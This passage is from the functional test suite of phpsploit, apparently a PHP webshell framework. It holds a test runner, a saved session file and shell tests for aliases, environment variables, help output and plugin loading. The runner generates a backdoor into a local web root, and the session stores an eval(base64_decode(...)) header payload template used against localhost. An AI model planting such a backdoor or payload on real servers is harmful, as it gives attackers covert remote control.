WWWROOT="$TMPDIR/wwwroot" mkdir "$WWWROOT" $PHPSPLOIT -e 'exploit --get-backdoor' > "$WWWROOT/index.php" chmod +x "$WWWROOT/index.php" echo "set TARGET $TARGET" >> "$PHPSPLOIT_CONFIG_DIR/config" # run php server (killed on atexit()) php -S "$TARGET" -t "$WWWROOT" > "$WWWROOT/php.log" 2>&1 & srv_pid=$! sleep 2 # give php server some time to init properly tests=0 errors=0 # called at script exit function atexit () { # kill php server set +e [ -n "$srv_pid" ] && kill $srv_pid if [ "$errors" -eq 0 ]; then print_info "`banner ' TESTS SUMMARY '`" print_info "All tests ($tests) succeeded! " print_info TOTAL_TIME=$SECONDS print_info "`banner`" echo exit 0 else printf '\e[33;2m' # same color as in colored_stderr() echo "$ ps -fp $srv_pid" ps -fp $srv_pid echo '$ cat "$WWWROOT/php.log"' cat "$WWWROOT/php.log" echo '$ env' env print_bad "`banner ' TESTS SUMMARY '`" print_bad "Some tests ($errors/$tests) failed! " print_info "TOTAL_TIME = $SECONDS" if [ -n "$PHPSPLOIT_TESTS_FAIL_FAST" ]; then print_info "PHPSPLOIT_TESTS_FAIL_FAST = True" fi print_bad "`banner`" echo exit 1 fi } trap atexit EXIT banner()(python -c 'print("'"$1"'".center(70, "="))') # run a single test script _bash) # NOTE: only launched if is executable (chmod +x) function execute_script () { if [ -f "$1" -a -x "$1" -a "`readlink -f $1`" != "`readlink -f $0`" ]; then (( ++tests )) _test_time=$SECONDS print_info "`banner`" print_info "RUNNING $1 ..." print_info "`banner`" # do script context export SCRIPTDIR="$(readlink -f `dirname $1`)" cd "$SCRIPTDIR" export SCRIPTFILE="$(readlink -f $1)" export TMPFILE=`mktemp` #if colored_stderr stdbuf -oL bash "$testscript" "$1"; then if colored_stderr bash "$testscript" "$1"; then print_good "$1 succeeded" _test_time=$(( $SECONDS - $_test_time )) print_info "TEST_TIME=${_test_time}s" else print_bad "$1 failed !" _test_time=$(( $SECONDS - $_test_time )) print_info "TEST_TIME=${_test_time}s" (( ++errors )) if [ -n "$PHPSPLOIT_TESTS_FAIL_FAST" ]; then exit fi fi # undo script context cd - > /dev/null echo -e "\n" fi } # recursively run all tests in test directory function execute_scripts () { basename="`basename $1`" if [ "$basename" == "tmp" ]; then return fi if [ -d "$1" ]; then for i in "$1"/*; do execute_scripts "$i" done else execute_script "$1" fi } if [ "$1" == '-h' -o "$1" == '--help' ]; then exit_help fi if [ $# -eq 0 ]; then execute_scripts "$TESTDIR" elif [ $# -eq 1 ]; then if [ ! -r "$1" ]; then >&2 echo "No such file or directory: $1" exit 1 fi if [[ "`readlink -f $1`" != "$TESTDIR"/* ]]; then >&2 echo "Invalid test location: $1" exit 1 fi execute_scripts "`readlink -f $1`" else exit_help fi echo if [ -n "$COVERAGE" ]; then cd $ROOTDIR echo 'find -name ".coverage\.*"' find -name ".coverage\.*" coverage combine cd - > /dev/null fi phpsploit-3.2+git20240329.aea961d/test/TODO.md000066400000000000000000000010431460155776400202210ustar00rootroot00000000000000MISC TESTS TO PERFORM ===================== # Proxy feature: - Test http/https/socks4/socks5 proxy tunneling. - Test proxy tunnelling, with proxy gathered from `http_proxy` and `https_proxy` environment variables. # Settings - Test `%%DEFAULT_VALUE%%` magic value for each setting. # Core commands: - All options of each available core command must be tested. - Test expected return values # Plugins: - All options of each available plugin must be tested. - Test expected return values # Tunnel: - Test phpsploit-3.2+git20240329.aea961d/test/backward_compat/000077500000000000000000000000001460155776400222555ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/backward_compat/v2.1.4/000077500000000000000000000000001460155776400231055ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/backward_compat/v2.1.4/RUN.sh000077500000000000000000000014371460155776400241150ustar00rootroot00000000000000#!/bin/bash < $SCRIPTDIR/phpsploit.session \ sed -e "s/127.0.0.1:64956/$TARGET/g" \ > $TMPDIR/tmp-session $PHPSPLOIT -e "session load $TMPDIR/tmp-session" || FAIL phpsploit_pipe session load $TMPDIR/tmp-session || FAIL # this one must FAIL (not confirming env reset) phpsploit_pipe "exploit\nN" > $TMPFILE && FAIL assert_contains $TMPFILE "TARGET server have changed, are you sure you want to reset environment as shown above" assert_contains $TMPFILE "Exploitation aborted" # this one must SUCCEED (confirming env reset) phpsploit_pipe "exploit\nY" > $TMPFILE || FAIL assert_contains $TMPFILE "TARGET server have changed, are you sure you want to reset environment as shown above" assert_contains $TMPFILE "Environment correctly reset" assert_contains $TMPFILE "Shell obtained by PHP" phpsploit-3.2+git20240329.aea961d/test/backward_compat/v2.1.4/phpsploit.session000066400000000000000000000031471460155776400265410ustar00rootroot00000000000000(dp0 S'PSCOREVER' p1 I2 sS'SET' p2 (dp3 S'REQ_INTERVAL' p4 S'1-10' p5 sS'REQ_ZLIB_TRY_LIMIT' p6 S'5mb' p7 sS'TMPPATH' p8 S'/tmp' p9 sS'SAVEPATH' p10 S'/tmp' p11 sS'TEXTEDITOR' p12 S'/usr/sbin/nano' p13 sS'REQ_MAX_HEADERS' p14 S'100' p15 sS'REQ_HEADER_PAYLOAD' p16 S"eval(base64_decode('%%BASE64%%'))" p17 sS'REQ_MAX_POST_SIZE' p18 S'8Mb' p19 sS'HTTP_USER_AGENT' p20 S'file://framework/misc/http_user_agents.lst' p21 sS'TARGET' p22 S'http://127.0.0.1:64956' p23 sS'PASSKEY' p24 S'phpSpl01t' p25 sS'BACKDOOR' p26 S"" p27 sS'REQ_DEFAULT_METHOD' p28 S'GET' p29 sS'PROXY' p30 S'None' p31 sS'WEBBROWSER' p32 S'%%DEFAULT%%' p33 sS'REQ_MAX_HEADER_SIZE' p34 S'8Kb' p35 ssS'ENV' p36 (dp37 S'WRITE_WEBDIR' p38 S'/tmp/phpsploit-temp-server' p39 sS'WRITE_TMPDIR' p40 S'/tmp' p41 sS'CWD' p42 S'/home/user' p43 sS'WEB_ROOT' p44 S'/tmp/phpsploit-temp-server' p45 ssS'LNK_HASH' p46 S'YTQwMzZj' p47 sS'CURRENT_SHELL' p48 S'' p49 sS'SRV' p50 (dp51 S'addr' p52 S'127.0.0.1' p53 sS'platform' p54 S'nix' p55 sS'soft' p56 S'PHP 8.1.6 Development Server' p57 sS'client_addr' p58 S'127.0.0.1' p59 sS'signature' p60 S'5c7da073f83b860fec93e182530a0d62' p61 sS'separator' p62 S'/' p63 sS'webroot' p64 g45 sS'host' p65 g53 sS'write_webdir' p66 g39 sS'write_tmpdir' p67 g41 sS'user' p68 S'user' p69 sS'phpver' p70 S'8.1.6' p71 sS'home' p72 g43 sS'os' p73 S'Linux' p74 sS'port' p75 S'64956' p76 ssS'LNK' p77 (dp78 S'URL' p79 g23 sS'BACKDOOR' p80 S"" p81 sS'DOMAIN' p82 S'127.0.0.1:64956' p83 sS'HASH' p84 g47 sS'PASSKEY' p85 g25 ssS'PSVERSION' p86 S'2.1.4' p87 sS'SRV_HASH' p88 g61 s.phpsploit-3.2+git20240329.aea961d/test/commands/000077500000000000000000000000001460155776400207355ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/commands/README.md000066400000000000000000000003601460155776400222130ustar00rootroot00000000000000# Functional Tests: commands Test all `Core Commands` of phpsploit. Core commands can be identified in `ui/interface.py`. Each one is implemented as a `'do_' + ` method. Core commands can be listed with `phpsploit -e help`. phpsploit-3.2+git20240329.aea961d/test/commands/alias.sh000077500000000000000000000074711460155776400223760ustar00rootroot00000000000000#!/usr/bin/env bash ### ### CHECK ALIAS WARNINGS ### XXX: PUTTING THIS ON TOP OF TEST FILE BECAUSE SHOULD WORK EVEN IF NOT CONNECTED ### # dummy command, so next one don't contain useless # phpsploit initialization lines phpsploit_pipe anything > $TMPFILE && FAIL # deleting an existing alias: # issue #59: `alias None` misses verbosity phpsploit_pipe alias FOO BAR > $TMPFILE || FAIL [[ $(count_lines $TMPFILE) -eq 0 ]] || FAIL phpsploit_pipe alias FOO None > $TMPFILE || FAIL assert_contains $TMPFILE 'alias correctly deleted' # overriding an existing alias: phpsploit_pipe alias FOO BAR > $TMPFILE || FAIL [[ $(count_lines $TMPFILE) -eq 0 ]] || FAIL phpsploit_pipe alias FOO None > $TMPFILE || FAIL assert_contains $TMPFILE 'alias correctly deleted' # overriding an existing core command: phpsploit_pipe alias history BAR > $TMPFILE || FAIL assert_contains $TMPFILE ' command overridden' # overriding an existing plugin: phpsploit_pipe alias stat BAR > $TMPFILE || FAIL assert_contains $TMPFILE ' plugin overridden' ### ### CHECK ALIAS CREATION & NESTING BEHAVIOR ### # create misc aliases for test phpsploit_pipe alias l-startsiwhL FOO > $TMPFILE || FAIL phpsploit_pipe alias l-startsiwhLagain BAR > $TMPFILE || FAIL phpsploit_pipe alias idontstartWithL BAZ > $TMPFILE || FAIL # this should only show aliases starting with 'l' phpsploit_pipe alias l > $TMPFILE sed -e '1,/---/d' -e '/^$/,$d' $TMPFILE | grep -vq '^ l' && FAIL # but calling `alias` alone lists all aliases: phpsploit_pipe alias > $TMPFILE sed -e '1,/---/d' -e '/^$/,$d' $TMPFILE | grep -vq '^ l' || FAIL # check that alias is equal to it's original command phpsploit_pipe alias "'@foo.bar'" lrun ls > $TMPFILE || FAIL phpsploit_pipe @foo.bar --color=always -1 / > $TMPFILE-alias || FAIL phpsploit_pipe lrun ls --color=always -1 / > $TMPFILE || FAIL diff $TMPFILE-alias $TMPFILE || FAIL # commands & plugins can be overridden by aliases phpsploit_pipe alias lrun "exploit --get-backdoor" > $TMPFILE phpsploit_pipe lrun > $TMPFILE-cmd-override phpsploit_pipe exploit --get-backdoor > $TMPFILE || FAIL diff $TMPFILE-cmd-override $TMPFILE || FAIL # but the alias referencing `lrun` still uses real command # because phpsploit nested aliases do not exist in phpsploit: phpsploit_pipe @foo.bar --color=always -1 / > $TMPFILE || FAIL diff $TMPFILE-alias $TMPFILE || FAIL # thanks to non-nesting, you can alias ls to 'ls /' # without circular calling issue: phpsploit_pipe alias ls ls /etc > $TMPFILE || FAIL phpsploit_pipe exploit > $TMPFILE || FAIL phpsploit_pipe ls > $TMPFILE-alias || FAIL # remove that alias, and `ls` becomes `ls` again ! phpsploit_pipe alias ls None > $TMPFILE || FAIL assert_contains $TMPFILE '`ls` alias correctly deleted' # now that ls is real `ls`, it should have different output: phpsploit_pipe ls > $TMPFILE || FAIL diff $TMFILE-alias $TMPFILE > $TMPFILE-err && FAIL rm $TMPFILE-err # but calling `ls / gives same output as previous call to `ls` alias: phpsploit_pipe ls /etc > $TMPFILE diff $TMPFILE-alias $TMPFILE || FAIL ### ### CHECK INVALID ALIAS NAMES ### # keep track of previously existing aliases phpsploit_pipe alias > $TMPFILE-ref || FAIL # issue #101: crash: IndexError: list index out of range # empty string fails phpsploit_pipe 'alias "" BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: '' doesn't match \[A-Za-z0-9@_\.-\]+" # string with spaces fails phpsploit_pipe 'alias "has space" BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: 'has space' doesn't match \[A-Za-z0-9@_\.-\]+" # ',' (badchar) fails phpsploit_pipe 'alias ,bad BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: ',bad' doesn't match \[A-Za-z0-9@_\.-\]+" # ensure alias output hasn't changed (because no vars were created) phpsploit_pipe alias > $TMPFILE || FAIL diff $TMPFILE-ref $TMPFILE phpsploit-3.2+git20240329.aea961d/test/commands/corectl/000077500000000000000000000000001460155776400223705ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/commands/corectl/display-http-requests.sh000077500000000000000000000032341460155776400272240ustar00rootroot00000000000000#!/bin/bash # test behavior of `corectl display-http-requests` # should fail with msg if no requests were sent: phpsploit_pipe corectl display-http-requests > $TMPFILE && FAIL assert_contains $TMPFILE << EOF ^\[-\] From now, phpsploit didn't sent any HTTP(s) request$ EOF # after exploit, a single GET request is present: phpsploit_pipe exploit > $TMPFILE || FAIL phpsploit_pipe corectl display-http-requests > $TMPFILE || FAIL assert_contains $TMPFILE << EOF ^\[\*\] Listing last payload's HTTP(s) requests:$ ^### REQUEST 1$ ^GET / HTTP/1.1$ ^Accept-Encoding: identity$ ^Connection: close$ ^Zzaa: ^Zzab: EOF assert_not_contains $TMPFILE << EOF ^\[-\] From now, phpsploit didn't sent any HTTP(s) request$ ^### REQUEST 2$ ^POST / HTTP/1.1$ ^phpSpl01t= EOF [ "$(grep -c REQUEST $TMPFILE)" -eq 1 ] || FAIL # use POST method, with 2k POST_DATA limitation, and check that all # requests were logged as expected after running `ls` plugin: phpsploit_pipe set REQ_DEFAULT_METHOD POST > $TMPFILE || FAIL phpsploit_pipe set REQ_MAX_POST_SIZE 2k > $TMPFILE || FAIL phpsploit_pipe "ls\nP" > $TMPFILE-x # add P to confirm multireq by POST num_reqs=$(grep 'will be' $TMPFILE-x | sed -E 's/.* ([0-9]+) .* will be .*/\1/') phpsploit_pipe corectl display-http-requests > $TMPFILE || FAIL [[ "$(grep -c REQUEST $TMPFILE)" == "$num_reqs" ]] || FAIL "$num_reqs" assert_contains $TMPFILE << EOF ^\[\*\] Listing last payload's HTTP(s) requests:$ ^### REQUEST 1$ ^### REQUEST 2$ ^### REQUEST $num_reqs$ ^POST / HTTP/1.1$ ^phpSpl01t= EOF assert_not_contains $TMPFILE << EOF ^\[-\] From now, phpsploit didn't sent any HTTP(s) request$ ^### REQUEST $(( $num_reqs + 1 ))$ ^GET / HTTP/1.1$ ^Zzaa: ^Zzab: EOF phpsploit-3.2+git20240329.aea961d/test/commands/env.sh000077500000000000000000000077051460155776400220750ustar00rootroot00000000000000#!/usr/bin/env bash ############################################################ ### NON-CONNECTED ### we have never been connected to a target ############################################################ # issue #53: env: Confusing error message before `exploited` context # Ref: https://github.com/nil0x42/phpsploit/issues/53 phpsploit_pipe env > $TMPFILE && FAIL grep -q '^\[\-\] Must connect to spread env vars ' $TMPFILE || FAIL phpsploit_pipe env PWD > $TMPFILE && FAIL grep -q '^\[\-\] Must connect to spread env vars ' $TMPFILE || FAIL ############################################################ ### CONNECTED ### we are currently connected to target (`exploit`) ############################################################ phpsploit_pipe exploit > $TMPFILE || FAIL # env must succesfully return list of env vars after exploited phpsploit_pipe env > $TMPFILE || FAIL # list of all env vars env_vars=`sed -e '1,/---/d' -e '/^$/,$d' $TMPFILE | awk '{print $1}'` # keep clean output for comparison grep -v '^\[\#' $TMPFILE > $TMPFILE-1 ############################################################ ### DISCONNECTED ### we disconnected from target (`exit`) ############################################################ phpsploit_pipe exit > $TMPFILE || FAIL # env must succesfully return list of env vars, even after disconnect phpsploit_pipe env > $TMPFILE || FAIL # keep clean output for comparison grep -v '^\[\#' $TMPFILE > $TMPFILE-2 # compare env connected, with env after disconnection diff $TMPFILE-1 $TMPFILE-2 || FAIL rm $TMPFILE-1 $TMPFILE-2 ### ### env ### # list of readonly env vars getval () { phpsploit_pipe env $1 > $TMPFILE-getval grep -oP '^\s+'$1'+\s+\K.*(?=\s*$)' $TMPFILE-getval } ro_env=" ADDR CLIENT_ADDR HOST HTTP_SOFTWARE PATH_SEP PHP_VERSION WEB_ROOT " for var in $env_vars; do phpsploit_pipe env $var > $TMPFILE || FAIL old_val="`getval $var`" [ -z "$old_val" ] && FAIL $var # if var is readonly if [[ "$ro_env" == *" $var "* ]]; then # try to set another value (must fail) phpsploit_pipe env $var FOOBAR > $TMPFILE && FAIL $var grep -q "'$var' variable is read-only" $TMPFILE || FAIL $var [[ "`getval $var`" == "$old_val" ]] || FAIL $var # try to unset variable (must fail) phpsploit_pipe "env $var none" > $TMPFILE && FAIL $var [[ "`getval $var`" == "$old_val" ]] || FAIL $var # else else ## try to set another value (must succeed) phpsploit_pipe env $var FOOBAR > $TMPFILE || FAIL [[ "`getval $var`" == "FOOBAR" ]] || FAIL # try to unset variable (must succeed) phpsploit_pipe "env $var none" > $TMPFILE || FAIL [ -z "`getval $var`" ] || FAIL fi echo "[OK] env $var" done ### ### CHECK VALID VAR NAMES ### (create new custom env vars) ### phpsploit_pipe env FOO BAR > $TMPFILE || FAIL [[ "`getval FOO`" == "BAR" ]] || FAIL phpsploit_pipe env this@IS.valid myval > $TMPFILE || FAIL [[ "`getval this@IS.valid`" == "myval" ]] || FAIL ### ### CHECK INVALID VAR NAMES ### # keep track of previously existing env vars phpsploit_pipe env > $TMPFILE-ref || FAIL # empty string fails phpsploit_pipe 'env "" BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: '' doesn't match \[A-Za-z0-9@_\.-\]+" # string with spaces fails phpsploit_pipe 'env "has space" BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: 'has space' doesn't match \[A-Za-z0-9@_\.-\]+" # ',' (badchar) fails phpsploit_pipe 'env ,bad BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: ',bad' doesn't match \[A-Za-z0-9@_\.-\]+" # special name used to save default values in sessions, should fail phpsploit_pipe 'env __DEFAULTS__ BLA' > $TMPFILE && FAIL assert_contains $TMPFILE "\[\!\] Key Error: illegal name: '__DEFAULTS__'" # ensure env output hasn't changed (because no vars were created) phpsploit_pipe env > $TMPFILE || FAIL diff $TMPFILE-ref $TMPFILE phpsploit-3.2+git20240329.aea961d/test/commands/help.sh000077500000000000000000000103761460155776400222330ustar00rootroot00000000000000#!/usr/bin/env bash ### ### Check help warning for existing command that has been aliased ### issue #60: `alias` can override existing command ### XXX: PUTTING THIS ON TOP OF TEST FILE BECAUSE SHOULD WORK EVEN IF NOT CONNECTED ### # initialize phpsploit_pipe phpsploit_pipe true > /dev/null || FAIL ### test for core command phpsploit_pipe help source > $TMPFILE-ref || FAIL assert_not_contains $TMPFILE "'source' has been aliased" # now make an `alias` named source: phpsploit_pipe alias source FOO > $TMPFILE || FAIL phpsploit_pipe help source > $TMPFILE || FAIL assert_contains $TMPFILE "'source' has been aliased" diff $TMPFILE-ref <(grep -v 'has been aliased' $TMPFILE) || FAIL # remove alias and check that warning is not more present: phpsploit_pipe alias source None > $TMPFILE || FAIL phpsploit_pipe help source > $TMPFILE || FAIL diff $TMPFILE $TMPFILE-ref || FAIL ### test for plugin (should work even if not connected with `exploit`) phpsploit_pipe help ls > $TMPFILE-ref || FAIL assert_not_contains $TMPFILE "'ls' has been aliased" # now make an `alias` named ls: phpsploit_pipe alias ls FOO > $TMPFILE || FAIL phpsploit_pipe help ls > $TMPFILE || FAIL assert_contains $TMPFILE "'ls' has been aliased" diff $TMPFILE-ref <(grep -v 'has been aliased' $TMPFILE) || FAIL # remove alias and check that warning is not more present: phpsploit_pipe alias ls None > $TMPFILE || FAIL phpsploit_pipe help ls > $TMPFILE || FAIL diff $TMPFILE $TMPFILE-ref || FAIL rm $TMPFILE* ### ### help ### $PHPSPLOIT -e 'exploit; help' > $TMPFILE || FAIL grep -q "^Core Commands" $TMPFILE || FAIL grep -q "^Command Aliases" $TMPFILE || FAIL grep -q "^System Plugins" $TMPFILE || FAIL # if not connected (`exploit`), plugins are not listed phpsploit_pipe help > $TMPFILE || FAIL grep -q "^Core Commands" $TMPFILE || FAIL grep -q "^Command Aliases" $TMPFILE || FAIL grep -q "^System Plugins" $TMPFILE && FAIL rm $TMPFILE* ### ### help ### core_cmds=`grep -oP '(?<=def do_)[a-z]+(?=\()' $ROOTDIR/src/ui/interface.py` for cmd in $core_cmds; do phpsploit_pipe help $cmd > $TMPFILE || FAIL grep -q "^\[\*\] $cmd: " $TMPFILE || FAIL grep -q "^SYNOPSIS:" $TMPFILE || FAIL # min docstring lines (debug line removed) [ `grep -vc '^\[\#' $TMPFILE` -lt 10 ] && FAIL echo "[OK] help $cmd" done rm $TMPFILE* ### ### help ### plugin_paths=`find $ROOTDIR/plugins/*/* -maxdepth 0` for path in $plugin_paths; do plugin=$(basename "$path") phpsploit_pipe help $plugin > $TMPFILE || FAIL assert_contains $TMPFILE << EOF ^\[\*\] $plugin: ^SYNOPSIS:$ ^DESCRIPTION:$ ^PLUGIN LOCATION:$ EOF plug_loc=$(grep -A1 'PLUGIN LOCATION' $TMPFILE | tail -n1 | xargs) [[ "$path" == "$plug_loc" ]] || FAIL $path / $plug_loc echo "[OK] help $plugin" done ### ### help ### $PHPSPLOIT -e 'alias' > $TMPFILE || FAIL cmds=`sed -e '1,/---/d' -e '/^$/,$d' $TMPFILE | awk '{print $1}'` for cmd in $cmds; do # check that `help ` == `alias $TMPFILE || FAIL grep -v '^\[\#' $TMPFILE > $TMPFILE-1 phpsploit_pipe alias $cmd > $TMPFILE || FAIL grep -v '^\[\#' $TMPFILE > $TMPFILE-2 diff $TMPFILE-1 $TMPFILE-2 || FAIL echo "[OK] help $cmd" done rm $TMPFILE* ### ### help set ### settings=`phpsploit_pipe set | grep -E '^ [A-Z]{2,}' | awk '{print $1}'` for var in $settings; do phpsploit_pipe help set $var > $TMPFILE || FAIL # issue #67: `help set `: display buffer type description # Ref: https://github.com/nil0x42/phpsploit/issues/67 # check that all settings help have a buffer description grep -Eq "$var is a (Multi|Rand)LineBuffer." $TMPFILE || FAIL # make sure a setting description is available desc_lines=`sed -e '1,/^[A-Z]\+/d' -e '/^[A-Z]\+/,$d' $TMPFILE | wc -l` [ $desc_lines -lt 2 ] && FAIL echo "[OK] help set $var" done ### ### help ### # issue #70: get help for `CMD` when calling `help CMD ARG` # Ref: https://github.com/nil0x42/phpsploit/issues/70 # ensure this gives help for `corectl`: phpsploit_pipe help corectl FOOBAR > $TMPFILE || FAIL grep -q '^\[\*\] corectl: ' $TMPFILE || FAIL ### ### Check invalid commands ### # check output phpsploit_pipe help FOO BAR > $TMPFILE && FAIL grep -q '^\[\-\] No help for: FOO' $TMPFILE || FAIL phpsploit-3.2+git20240329.aea961d/test/core/000077500000000000000000000000001460155776400200645ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/README.md000066400000000000000000000003131460155776400213400ustar00rootroot00000000000000# Functional Tests: core This 'miscellaneous' test category is intended to test internal framework funcionalities related to general behavior, and cannot be clearly identified by another test category. phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/000077500000000000000000000000001460155776400224745ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/RUN.sh000077500000000000000000000066141460155776400235060ustar00rootroot00000000000000#!/bin/bash n_plugs=`find $ROOTDIR/plugins/*/* -maxdepth 0 | wc -l` n_plugs_plus2=$(( $n_plugs + 2 )) # string 'plugins correctly loaded' is only expected if stdin.isatty(): echo exit | $PHPSPLOIT > $TMPFILE assert_not_contains $TMPFILE " $n_plugs plugins correctly loaded$" assert_not_contains $TMPFILE "error.* encountered while loading plugins" ### ### Test `core.plugins` package (plugin loader / launcher) ### using faketty to get plugin load output ### # before bugged plugins, check that all plugins are correctly loaded faketty $PHPSPLOIT -e exit > $TMPFILE decolorize $TMPFILE assert_contains $TMPFILE " $n_plugs plugins correctly loaded$" assert_not_contains $TMPFILE "error.* encountered while loading plugins" # reload-plugins should be ok, because there is no error $PHPSPLOIT -e 'corectl reload-plugins' > /dev/null || FAIL ### ### Custom Setup (voluntary bugged USERDIR plugins) ### using faketty to get plugin load output ### cp -r "$PHPSPLOIT_CONFIG_DIR" "$TMPFILE-conf" export PHPSPLOIT_CONFIG_DIR="$TMPFILE-conf" rm -rf $TMPFILE-conf/plugins cp -r $SCRIPTDIR/test-plugins $TMPFILE-conf/plugins chmod 333 $TMPFILE-conf/plugins/valid_category-name/plugin-py_not-readable/plugin.py sed -i "/VERBOSITY/d" $TMPFILE-conf/config faketty $PHPSPLOIT -e exit > $TMPFILE decolorize $TMPFILE assert_contains $TMPFILE << EOF $n_plugs_plus2 plugins correctly loaded$ ^\[\#\] 5 errors encountered while loading plugins .*corectl reload-plugins EOF [ "$(wc -l < $TMPFILE)" -eq 2 ] || FAIL ### ### Check output of `help` after loading bugged plugins ### $PHPSPLOIT -e 'exploit; help' > $TMPFILE assert_not_contains $TMPFILE << EOF invalid.category notloaded cannot-compile invalid-name.notloaded is-empty plugin-py_not-readable EOF assert_contains $TMPFILE << EOF ^Valid category-name Plugins$ is-valid is-in-existing_category EOF # check this plugin is listed within default 'System Plugins' category [ "$(grep -c "^System Plugins" $TMPFILE)" -eq 1 ] || FAIL grep -A1 "is-in-existing_category" $TMPFILE | grep -q ' phpinfo ' || FAIL ### ### Check output of `help` after loading bugged plugins ### # reload-plugins should fail, because there is at least an error $PHPSPLOIT -e 'corectl reload-plugins' > $TMPFILE && FAIL sed -i -e "1,2d" $TMPFILE # remove 2 first lines (unwanted) grep -A1 "^\[#\] Couldn't load category: '.*/plugins/invalid.category'$" $TMPFILE > $TMPFILE-out || FAIL grep -q "^\[#\] Folder name doesn.*t match .*" $TMPFILE-out || FAIL grep -A1 "^\[#\] Couldn't load plugin: '.*/plugins/valid_category-name/invalid-name.notloaded'$" $TMPFILE > $TMPFILE-out || FAIL grep -q "^\[#\] Folder name doesn.*t match .*" $TMPFILE-out || FAIL grep -A1 "^\[#\] Couldn't load plugin: '.*/plugins/valid_category-name/is-empty'$" $TMPFILE > $TMPFILE-out || FAIL grep -q "^\[#\] File plugin.py is empty" $TMPFILE-out || FAIL grep -A1 "^\[#\] Couldn't compile plugin: '.*/plugins/valid_category-name/cannot-compile'$" $TMPFILE > $TMPFILE-out || FAIL grep -q "^\[#\] Traceback (most recent call last):$" $TMPFILE-out || FAIL grep -A1 "^\[#\] Couldn't load plugin: '.*/plugins/valid_category-name/plugin-py_not-readable'$" $TMPFILE > $TMPFILE-out || FAIL grep -q "^\[#\] File error on plugin.py: " $TMPFILE-out || FAIL assert_contains $TMPFILE << EOF $n_plugs_plus2 plugins correctly loaded$ ^\[\#\] 5 errors encountered while loading plugins EOF assert_not_contains $TMPFILE "corectl reload-plugins" phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/000077500000000000000000000000001460155776400251325ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/invalid.category/000077500000000000000000000000001460155776400303745ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/invalid.category/notloaded/000077500000000000000000000000001460155776400323455ustar00rootroot00000000000000plugin.py000066400000000000000000000005271460155776400341420ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/invalid.category/notloaded"""Print working directory SYNOPSIS: pwd DESCRIPTION: Print the absolute path name of current/working remote directory on target server. * PASSIVE PLUGIN: No requests are sent to server, as current directory is known by $PWD environment variable (`env PWD`) AUTHOR: nil0x42 """ print("") phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/system/000077500000000000000000000000001460155776400264565ustar00rootroot00000000000000is-in-existing_category/000077500000000000000000000000001460155776400331435ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/systemplugin.py000066400000000000000000000002131460155776400350070ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/system/is-in-existing_category"""Print working directory SYNOPSIS: is-valid DESCRIPTION: test plugin AUTHOR: nil0x42 """ print("") phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/000077500000000000000000000000001460155776400310445ustar00rootroot00000000000000cannot-compile/000077500000000000000000000000001460155776400336755ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-nameplugin.py000066400000000000000000000002441460155776400355450ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/cannot-compile"""Print working directory SYNOPSIS: is-valid DESCRIPTION: test plugin AUTHOR: nil0x42 """ # this fails with python3 print "" invalid-name.notloaded/000077500000000000000000000000001460155776400353015ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-nameplugin.py000066400000000000000000000005271460155776400371550ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/invalid-name.notloaded"""Print working directory SYNOPSIS: pwd DESCRIPTION: Print the absolute path name of current/working remote directory on target server. * PASSIVE PLUGIN: No requests are sent to server, as current directory is known by $PWD environment variable (`env PWD`) AUTHOR: nil0x42 """ print("") phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/is-empty/000077500000000000000000000000001460155776400326135ustar00rootroot00000000000000plugin.py000066400000000000000000000000001460155776400343720ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/is-emptyphpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/is-valid/000077500000000000000000000000001460155776400325545ustar00rootroot00000000000000plugin.py000066400000000000000000000002131460155776400343410ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/is-valid"""Print working directory SYNOPSIS: is-valid DESCRIPTION: test plugin AUTHOR: nil0x42 """ print("") plugin-py_not-readable/000077500000000000000000000000001460155776400353265ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-nameplugin.py000066400000000000000000000002131460155776400371720ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/core/core.plugins/test-plugins/valid_category-name/plugin-py_not-readable"""Print working directory SYNOPSIS: is-valid DESCRIPTION: test plugin AUTHOR: nil0x42 """ print("") phpsploit-3.2+git20240329.aea961d/test/core/linebuf.sh000077500000000000000000000243721460155776400220570ustar00rootroot00000000000000#!/bin/bash # Test `linebuf` module (linebuf.py) # *LineBuffer classes are used as base class for # phpsploit configuration settings. ### ### Test Setup 